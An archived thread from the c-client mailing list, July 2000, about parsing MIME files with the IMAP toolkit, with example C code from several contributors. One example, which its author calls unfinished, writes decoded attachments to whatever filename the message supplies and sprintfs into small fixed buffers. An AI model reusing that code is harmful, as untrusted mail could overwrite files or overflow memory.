strdup("attachment"); body->disposition.parameter = param_attachment; body->subtype = strdup(location); body->contents.text.data = (void *) stream_buf; body->contents.text.size = file_size; body->size.bytes = (int) (file_size / 8); head->type = TYPEMULTIPART; head->nested.part = mail_newbody_part(); head->nested.part->body = *body; ............................ smtp_mail (stream,"MAIL",msg,head) -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jul 3 07:30:15 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 3 Jul 2000 07:30:15 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id HAA05459 for ; Mon, 3 Jul 2000 07:30:14 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA14569; Mon, 3 Jul 2000 07:30:12 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id HAA11691; Mon, 3 Jul 2000 07:29:51 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id HAA19198 for ; Mon, 3 Jul 2000 07:27:56 -0700 Received: from hotmail.com (f154.law8.hotmail.com [216.33.241.154]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id HAA16795 for ; Mon, 3 Jul 2000 07:27:55 -0700 Received: (qmail 59207 invoked by uid 0); 3 Jul 2000 14:27:52 -0000 Received: from 212.153.205.241 by www.hotmail.com with HTTP; Mon, 03 Jul 2000 07:27:52 PDT Message-Id: <20000703142752.59206.qmail@hotmail.com> Date: Mon, 03 Jul 2000 07:27:52 PDT Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Koos Starfield" To: c-client@u.washington.edu Subject: MIME-files Mime-Version: 1.0 Content-Type: text/plain; format=flowed X-Originating-IP: [212.153.205.241] X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello , I need to read files which are in MIME format. Since i don't want to code a MIME parser myself, my question is: Is this possible with c-client? (I thought of the rfc822_parse_msg function but it will also expect a rfc822 header (I just have MIME, no rfc822 header at all)) Before I start at it I wanted to know if someone has experience doing this, is it possible ?? greetings Koos Starreveld the Netherlands. ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jul 4 03:33:36 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 4 Jul 2000 03:33:35 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id DAA18289 for ; Tue, 4 Jul 2000 03:33:34 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id DAA25954; Tue, 4 Jul 2000 03:33:27 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id DAA21591; Tue, 4 Jul 2000 03:33:05 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id DAA42252 for ; Tue, 4 Jul 2000 03:31:05 -0700 Received: from alinto.net (access-78.49.rev.imaginet.fr [195.68.49.78] (may be forged)) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id DAA26801 for ; Tue, 4 Jul 2000 03:31:04 -0700 Received: (qmail 14221 invoked by uid 99); 4 Jul 2000 10:22:23 -0000 Message-Id: <962706143.3961badfb79e7@www.alinto.net> Date: Tue, 04 Jul 2000 12:22:23 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: amaury habrard To: Koos Starfield Cc: Subject: Re: MIME-files In-Reply-To: <20000703142752.59206.qmail@hotmail.com> References: <20000703142752.59206.qmail@hotmail.com> MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 8bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Koos Starfield wrote: 'I need to read files which are in MIME format.' I am developping a little mime parser using the c-client library, I give you an example of my program, it is not finished and I think there are still some mistakes, but it can be an example to see how to process. And I have test all the types, but it works with MULTIPART messages. (if you see big bugs tell me) I hope this can help you. After you have the body of your mesg (for example like this: BODY * body=NULL; mail_fetchstructure(stream,no_msg,&body); if(body) parse_body(stream,no_msg,body,NIL,(long) 0); /*where stream is the MAILSTREAM * of your mailbox and no_msg the message number you want to parse*/) you can use a parse function like this one (be careful it is not complete but it works on some multipart message): int parse_body(MAILSTREAM * stream,int no_msg,BODY * corps,char * pfx,long i) { char tmp[10]; PART *part=NULL; if (corps->type == TYPEMULTIPART) {/* "multipart"*/ /*pfx gives the section of the mail*/ if (pfx) sprintf (tmp,"%s%ld.",pfx,++i); else tmp[0] = '\0'; /*we examine each part*/ for (i = 0,part = corps->nested.part; part!=NULL; part=part->next) { parse_body(stream,no_msg,&part->body,tmp,++i); } }else{ switch(corps->type) {/*NO MULTIPART HERE*/ case TYPETEXT: { /*let's show that*/ char * init_mesg=NULL; char * decode_msg=NULL; char section[100]; long decode_length=0; printf("ii:%ld\n",i); if( pfx==NULL || !strcmp(pfx,"") ) sprintf(section,"%ld",i); else sprintf(section,"%s.%ld",pfx,i); init_mesg=mail_fetchbody(stream,no_msg,section, &(corps->size.bytes)); /*if encoded*/ switch(corps->encoding) { case ENCBASE64: decode_msg=(char*)rfc822_base64(init_mesg,corps->size.bytes, &decode_length); break; case ENCQUOTEDPRINTABLE: decode_msg=(char *) rfc822_qprint(init_mesg,corps->size.bytes,&decode_length); break; case ENC7BIT: case ENC8BIT: case ENCBINARY: case ENCOTHER: default: decode_msg=init_mesg; } printf("%s\n",decode_msg ); break; } case TYPEMESSAGE: /*encapsulated message*/ { /*I'm not very sure*/ if (!strcmp (corps->subtype,"RFC822") && (corps = corps->nested.msg->body)) { if (corps->type == TYPEMULTIPART) parse_body(stream,no_msg,corps,pfx,i-1); else { sprintf(tmp,"%s%ld.",pfx,i); parse_body(stream,no_msg,corps,tmp,(long) 0); } } break; case TYPEAPPLICATION: break; case TYPEAUDIO: break; case TYPEIMAGE: /*GIF,JPEG, ...........*/ { long F=-1; /*FILE descriptor*/ char * init_mesg=NULL; char * decode_msg=NULL; char section[100]; long decode_length=0; if( pfx==NULL || !strcmp(pfx,"") ) sprintf(section,"%ld",i); else sprintf(section,"%s.%ld",pfx,i); /*GET the message*/ init_mesg=mail_fetchbody(stream, no_msg, section,&(corps->size.bytes)); /*if encoded*/ switch(corps->encoding) { case ENCBASE64: decode_msg=(char *) rfc822_base64(init_mesg,corps->size.bytes,&decode_length); break; case ENCQUOTEDPRINTABLE: decode_msg=(char *) rfc822_qprint(init_mesg,corps->size.bytes,&decode_length); break; case ENC7BIT: case ENC8BIT: case ENCBINARY: case ENCOTHER: /*default*/ default: decode_msg=init_mesg; } if(!strcmp(corps->parameter->attribute,"NAME")) /*we have the name of the file*/ F=open(corps->parameter->value,O_WRONLY|O_CREAT|O_TRUNC,0660); else F=open("/tmp/tmpaux",O_WRONLY|O_CREAT|O_TRUNC,0660); if(F==-1) { fprintf(stderr,"Problems with the image_file\n"); } else{ write(F,decode_msg,decode_length); close(F); } break; } case TYPEVIDEO: /*type video */ case TYPEOTHER: default: } } } return 1; } amaury. ------------------------------------------------- A L i N T o - Restez joignable - www.alinto.com From pinedev@shivax2.cac.washington.edu Tue Jul 4 04:05:18 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 4 Jul 2000 04:05:17 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id EAA17315 for ; Tue, 4 Jul 2000 04:05:16 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id EAA07955; Tue, 4 Jul 2000 04:05:14 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id EAA11245; Tue, 4 Jul 2000 04:04:55 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id EAA19152 for ; Tue, 4 Jul 2000 04:03:38 -0700 Received: from hotmail.com (f32.law8.hotmail.com [216.33.241.32]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id EAA23377 for ; Tue, 4 Jul 2000 04:03:38 -0700 Received: (qmail 50794 invoked by uid 0); 4 Jul 2000 11:03:34 -0000 Received: from 212.153.205.241 by www.hotmail.com with HTTP; Tue, 04 Jul 2000 04:03:34 PDT Message-Id: <20000704110334.50793.qmail@hotmail.com> Date: Tue, 04 Jul 2000 04:03:34 PDT Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Koos Starfield" To: ahabrard@alinto.net Cc: c-client@u.washington.edu Subject: Re: MIME-files Mime-Version: 1.0 Content-Type: text/plain; format=flowed X-Originating-IP: [212.153.205.241] X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, This is not exactly what i am looking for, in the example you send you already have the Body of a message. I want to parse a mime file without header information... in fact a file which looks like this: ----Begin of file MIME version Content-Type: ...... Content-Encoding: ..... Content-Disposition: ..... filedata ----End of File >From: amaury habrard >To: Koos Starfield >CC: >Subject: Re: MIME-files >Date: Tue, 04 Jul 2000 12:22:23 +0200 > > Koos Starfield wrote: >'I need to read files which are in MIME format.' > >I am developping a little mime parser using the c-client library, >I give you an example of my program, it is not finished and I think >there are still some mistakes, but it can be an example to see how to >process. And I have test all the types, but it works with MULTIPART >messages. (if you see big bugs tell me) > >I hope this can help you. > >After you have the body of your mesg >(for example like this: >BODY * body=NULL; >mail_fetchstructure(stream,no_msg,&body); >if(body) parse_body(stream,no_msg,body,NIL,(long) 0); >/*where stream is the MAILSTREAM * of your mailbox and no_msg the >message number you want to parse*/) > >you can use a parse function like this one (be careful it is not >complete but it works on some multipart message): >int parse_body(MAILSTREAM * stream,int no_msg,BODY * corps,char * >pfx,long i) >{ > char tmp[10]; > PART *part=NULL; > if (corps->type == TYPEMULTIPART) {/* "multipart"*/ > > /*pfx gives the section of the mail*/ > if (pfx) sprintf (tmp,"%s%ld.",pfx,++i); > else tmp[0] = '\0'; > /*we examine each part*/ > for (i = 0,part = corps->nested.part; part!=NULL; part=part->next) > { > parse_body(stream,no_msg,&part->body,tmp,++i); > } > }else{ > > switch(corps->type) > {/*NO MULTIPART HERE*/ > case TYPETEXT: > { > /*let's show that*/ > char * init_mesg=NULL; > char * decode_msg=NULL; > char section[100]; > long decode_length=0; > printf("ii:%ld\n",i); > if( pfx==NULL || !strcmp(pfx,"") ) > sprintf(section,"%ld",i); > else sprintf(section,"%s.%ld",pfx,i); > > init_mesg=mail_fetchbody(stream,no_msg,section, > &(corps->size.bytes)); > > /*if encoded*/ > switch(corps->encoding) > { > > case ENCBASE64: > >decode_msg=(char*)rfc822_base64(init_mesg,corps->size.bytes, > &decode_length); > break; > case ENCQUOTEDPRINTABLE: > decode_msg=(char *) >rfc822_qprint(init_mesg,corps->size.bytes,&decode_length); > break; > > case ENC7BIT: > case ENC8BIT: > case ENCBINARY: > case ENCOTHER: > default: > decode_msg=init_mesg; > } > > printf("%s\n",decode_msg ); > break; > } > case TYPEMESSAGE: /*encapsulated message*/ > { > /*I'm not very sure*/ > > if (!strcmp (corps->subtype,"RFC822") > && (corps = corps->nested.msg->body)) > { > if (corps->type == TYPEMULTIPART) >parse_body(stream,no_msg,corps,pfx,i-1); > else { > sprintf(tmp,"%s%ld.",pfx,i); > parse_body(stream,no_msg,corps,tmp,(long) 0); > } > } > > break; > case TYPEAPPLICATION: > break; > case TYPEAUDIO: > break; > case TYPEIMAGE: /*GIF,JPEG, ...........*/ > { > long F=-1; /*FILE descriptor*/ > char * init_mesg=NULL; > char * decode_msg=NULL; > char section[100]; > long decode_length=0; > > if( pfx==NULL || !strcmp(pfx,"") ) > sprintf(section,"%ld",i); > else sprintf(section,"%s.%ld",pfx,i); > > /*GET the message*/ > init_mesg=mail_fetchbody(stream, no_msg, >section,&(corps->size.bytes)); > > /*if encoded*/ > switch(corps->encoding) > { > > case ENCBASE64: > decode_msg=(char *) >rfc822_base64(init_mesg,corps->size.bytes,&decode_length); > break; > case ENCQUOTEDPRINTABLE: > decode_msg=(char *) >rfc822_qprint(init_mesg,corps->size.bytes,&decode_length); > break; > > case ENC7BIT: > > case ENC8BIT: > > case ENCBINARY: > > case ENCOTHER: /*default*/ > > default: > decode_msg=init_mesg; > } > > if(!strcmp(corps->parameter->attribute,"NAME")) /*we have the >name of the >file*/ >F=open(corps->parameter->value,O_WRONLY|O_CREAT|O_TRUNC,0660); > else F=open("/tmp/tmpaux",O_WRONLY|O_CREAT|O_TRUNC,0660); > > if(F==-1) > { > fprintf(stderr,"Problems with the image_file\n"); > } > else{ > write(F,decode_msg,decode_length); > close(F); > } > break; > } > case TYPEVIDEO: /*type video */ > case TYPEOTHER: > default: > } > } > } > return 1; >} > >amaury. > > >------------------------------------------------- >A L i N T o - Restez joignable - www.alinto.com ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From pinedev@shivax2.cac.washington.edu Tue Jul 4 05:28:01 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 4 Jul 2000 05:28:00 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id FAA09389 for ; Tue, 4 Jul 2000 05:27:59 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id FAA28075; Tue, 4 Jul 2000 05:27:52 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id FAA11798; Tue, 4 Jul 2000 05:27:34 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id FAA41960 for ; Tue, 4 Jul 2000 05:25:58 -0700 Received: from alinto.net (access-78.49.rev.imaginet.fr [195.68.49.78] (may be forged)) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id FAA11407 for ; Tue, 4 Jul 2000 05:25:57 -0700 Received: (qmail 15084 invoked by uid 99); 4 Jul 2000 12:17:15 -0000 Message-Id: <962713035.3961d5cbcb266@www.alinto.net> Date: Tue, 04 Jul 2000 14:17:15 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: amaury habrard To: Koos Starfield Cc: , Subject: Re: MIME-files In-Reply-To: <20000704110334.50793.qmail@hotmail.com> References: <20000704110334.50793.qmail@hotmail.com> MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 8bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Koos Starfield wrote: >----Begin of file >MIME version >Content-Type: ...... >Content-Encoding: ..... >Content-Disposition: ..... >filedata >----End of File Ok I see, I don't know, if the c-client library is very useful fot this. Try the libwww library, I know it provides function for MIME parsing (headers and bodys). http://www.w3.org/Library/ I hope it helps Amaury. ------------------------------------------------- A L i N T o - Restez joignable - www.alinto.com From pinedev@shivax2.cac.washington.edu Tue Jul 4 07:44:07 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 4 Jul 2000 07:44:07 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id HAA19761 for ; Tue, 4 Jul 2000 07:44:06 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA30212; Tue, 4 Jul 2000 07:44:04 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id HAA10110; Tue, 4 Jul 2000 07:43:39 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id HAA57672 for ; Tue, 4 Jul 2000 07:41:27 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA01500 for ; Tue, 4 Jul 2000 07:41:27 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (gin@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id HAA11410; Tue, 4 Jul 2000 07:41:27 -0700 Message-Id: Date: Tue, 4 Jul 2000 07:41:22 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: c-client Interest List Cc: IMAP Interest List Subject: Announcing: imap-2000 toolkit release candidate 3 MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN RC3 fixes a bad bug in the handling of traditional UNIX format mailboxes which was discovered at the last minute. Hopefully this will be the final release candidate. -- Mark -- * RCW 19.190 notice: This email address is located in Washington State. * * Unsolicited commercial email may be billed $500 per message. * Science does not emerge from voting, party politics, or public debate. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Jul 7 16:19:59 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 7 Jul 2000 16:19:59 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id QAA19514 for ; Fri, 7 Jul 2000 16:19:57 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA10430; Fri, 7 Jul 2000 16:19:55 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id QAA21344; Fri, 7 Jul 2000 16:19:23 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id QAA40928 for ; Fri, 7 Jul 2000 16:16:36 -0700 Received: from smtp10.atl.mindspring.net (smtp10.atl.mindspring.net [207.69.200.246]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA29216 for ; Fri, 7 Jul 2000 16:16:36 -0700 Received: from mindspring.com (user-33qt2af.dialup.mindspring.com [199.174.137.79]) by smtp10.atl.mindspring.net (8.9.3/8.8.5) with ESMTP id TAA04282; Fri, 7 Jul 2000 19:15:56 -0400 (EDT) Message-Id: <396664AA.695A108D@mindspring.com> Date: Fri, 07 Jul 2000 18:15:54 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: John-Paul Robinson To: Koos Starfield Cc: ahabrard@alinto.net, c-client@u.washington.edu Subject: Re: MIME-files References: <20000704110334.50793.qmail@hotmail.com> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="------------2F220F875D7EE163B6FB8091" X-Sender: itsjpr@mindspring.com X-Accept-Language: de, en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. --------------2F220F875D7EE163B6FB8091 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit rfc822_parse_msg() is the function you need. Keep in mind that any poper MIME file, like the template below, does have a header. MIME entities are composed of a header and a body. Their structure is identical to RFC822 messages, this is why they play together so nicely. A MIME entity sent via email is simply "layed over" an RFC822 message, the result is that the MIME entity header and RFC822 header are merged. The resulting object effectively becomes a routable MIME entity. Having said all that, you can combine some peices of the IMAP toolkit and IMAP utils to get the job done. rfc822_parse_msg() will return a populated BODY and ENVELOPE structure given a header and STRING containing the body. For the cases when the MIME entity's header doesn't contain any RFC822 header fields, the ENVELOPE structure will be unpopulated. To build a program, you can take the "file_string" STRING driver from the tmail.c code and use it to hold the MIME file of interest. This STRING is prepared in the regular way. In order to get the MIME header out of your file, look to the rfc822_parse_content() function's section on parsing a MIME MESSAGE part. If you want a nice listing of the structure, check out the imapd.c code and see how it generates its response to a BODYSTRUCTURE command (see the pbodystructure() function). I've attached an example program which covers these parts (except for pretty printing the body structure). You'll need to add callbacks to make it work. I hope you'll find it useful. I find it helpful to keep in mind that the toolkit contains both an IMAP server and the mailbox drivers, including an IMAP client. The server and drivers combine to show us how to interpret the information generated by the c-client API and how that information is populated from known sources. Taking a look on both sides of the the c-client library can be educational. Please let me know if I've made any grave errors. John-Paul Koos Starfield wrote: > > Hello, > This is not exactly what i am looking for, in the example you send you > already have the Body of a message. > I want to parse a mime file without header information... in fact a file > which looks like this: > > ----Begin of file > MIME version > Content-Type: ...... > Content-Encoding: ..... > Content-Disposition: ..... > > filedata > ----End of File > > >From: amaury habrard > >To: Koos Starfield > >CC: > >Subject: Re: MIME-files > >Date: Tue, 04 Jul 2000 12:22:23 +0200 > > > > Koos Starfield wrote: > >'I need to read files which are in MIME format.' > > > >I am developping a little mime parser using the c-client library, > >I give you an example of my program, it is not finished and I think > >there are still some mistakes, but it can be an example to see how to > >process. And I have test all the types, but it works with MULTIPART > >messages. (if you see big bugs tell me) > > > >I hope this can help you. > > > >After you have the body of your mesg > >(for example like this: > >BODY * body=NULL; > >mail_fetchstructure(stream,no_msg,&body); > >if(body) parse_body(stream,no_msg,body,NIL,(long) 0); > >/*where stream is the MAILSTREAM * of your mailbox and no_msg the > >message number you want to parse*/) > > > >you can use a parse function like this one (be careful it is not > >complete but it works on some multipart message): --------------2F220F875D7EE163B6FB8091 Content-Type: text/plain; charset=us-ascii; name="mime_example.c" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="mime_example.c" /* * Parse given MIME file */ /* standard include files */ #include #include #include #include "mail.h" /* interface for toolkit library */ #include "osdep.h" /* helps isolate us from platform */ #include "rfc822.h" #include "misc.h" extern int errno; /* void local_searched (MAILSTREAM *s,unsigned long msgno); void local_exists (MAILSTREAM *s,unsigned long number); */ void file_string_init (STRING *s,void *data,unsigned long size); char file_string_next (STRING *s); void file_string_setpos (STRING *s,unsigned long i); /* int opt_handler(char c, char* optarg); */ void show_msg_struct(char *prefix, ENVELOPE *envelope, BODY *body); void show_body_struct(char *prefix, BODY *body, int text); /* File string driver for file stringstructs */ STRINGDRIVER file_string = { file_string_init, /* initialize string structure */ file_string_next, /* get next byte in string structure */ file_string_setpos /* set position in string structure */ }; /* Cache buffer for file stringstructs */ #define CHUNKLEN 16384 char chunk[CHUNKLEN]; /* Initialize file string structure for file stringstruct * Accepts: string structure * pointer to string * size of string */ void file_string_init (STRING *s,void *data,unsigned long size) { s->data = data; /* note fd */ s->size = size; /* note size */ s->chunk = chunk; s->chunksize = (unsigned long) CHUNKLEN; SETPOS (s,0); /* set initial position */ } /* Get next character from file stringstruct * Accepts: string structure * Returns: character, string structure chunk refreshed */ char file_string_next (STRING *s) { char c = *s->curpos++; /* get next byte */ /* move to next chunk */ SETPOS (s,s->offset + s->chunksize); return c; /* return the byte */ } /* Set string pointer position for file stringstruct * Accepts: string structure * new position */ void file_string_setpos (STRING *s,unsigned long i) { s->offset = i; /* set new offset */ /* set size of data */ s->cursize = min ((long) CHUNKLEN,s->size); s->curpos = s->chunk; /* reset position */ /* move to that position in the file */ fseek ((FILE *) s->data,s->offset,SEEK_SET); fread (s->curpos,sizeof (char),(unsigned int) s->cursize,(FILE *) s->data); } int main(int argc, char *argv[]) { MAILSTREAM *stream = NIL; FILE *mfile; STRING st; ENVELOPE *env; BODY *body; long msglen; unsigned long i, j, k; char c, c1, *s, *s1; /* prepare string driver */ if (!(mfile = fopen (argv[1], "r"))) { perror(argv[0]); exit(1); } if (fseek(mfile, 0, SEEK_END)) { perror(argv[0]); exit(1); } if (!(msglen = ftell(mfile))) { perror(argv[0]); exit(1); } INIT (&st,file_string,(void *) mfile,msglen); /* hunt for blank line */ /* get message size, really same as above, from st for good measure */ i = SIZE(&st); /* * this for loop will be stopped by either a CRLFCRLF or a LFLF * the OR in the loop end cares only about the LF*LF sequence. * the c and c1 logic is to "skip" the CR's and look for a LFLF combo * in either case we are left with the st set to the end of the header, * i.e. the LF of the blank line. */ for (c = '\012',j = 0; (i > j) && ((c != '\012') || (CHR(&st) != '\012')); j++) if ((c1 = SNX (&st)) != '\015') c = c1; /* * if we only had a header we're at the end of the string * otherwise, the body starts at the next character * j++ because the size is 1 + the index. */ if (i > j) { /* unless no more text */ c1 = SNX (&st); /* body starts here */ j++; /* advance count */ } /* copy header string */ /* rewind to the beginning of the string * note: in rfc822.c this goes to the current body->content.offset * but here we can just start at the front of the string since we * won't be in a nested part. * This copy leaves the STRING pointer at the start of body * so we're all ready for the parse. */ SETPOS (&st,0); s = (char *) fs_get ((size_t) j + 1); for (s1 = s,k = j; k--; *s1++ = SNX (&st)); s[j] = '\0'; /* tie off string (not really necessary) */ rfc822_parse_msg_full(&env, &body,s,j, &st,"whats.this.do", 0, 0); fs_give((void *)s); /* inspect body and env here */ /* * you might use code similar to that provided by aharbrad@alinto.net * or look ot imapd.c and see how it parses the body to generate the * IMAP BODYSTRUCTURE result. */ /* free the body & envelope structs created by mail_fetchstructure */ mail_free_body(&body); mail_free_envelope(&env); return(0); } /* put call backs here */ --------------2F220F875D7EE163B6FB8091-- From pinedev@shivax2.cac.washington.edu Fri Jul 14 08:36:31 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 14 Jul 2000 08:36:31 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id IAA24360 for ; Fri, 14 Jul 2000 08:36:30 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA30673; Fri, 14 Jul 2000 08:36:28 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id IAA29361; Fri, 14 Jul 2000 08:35:43 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id IAA17164 for ; Fri, 14 Jul 2000 08:31:21 -0700 Received: from birch.ripe.net (birch.ripe.net [193.0.1.96]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA23939 for ; Fri, 14 Jul 2000 08:31:20 -0700 Received: from x51.ripe.net (x51.ripe.net [193.0.1.51]) by birch.ripe.net (8.8.8/8.8.8) with ESMTP id RAA25880 for ; Fri, 14 Jul 2000 17:31:18 +0200 (CEST) Message-Id: Date: Fri, 14 Jul 2000 17:31:18 +0200 (CEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Daniele Arena To: c-client@u.washington.edu Subject: MIME parsing of non-unix-mailbox streams MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello everybody. This list has been quiet for a while, so I thought I could send in a stupid question, just to make it alive a bit.:-) I am writing a 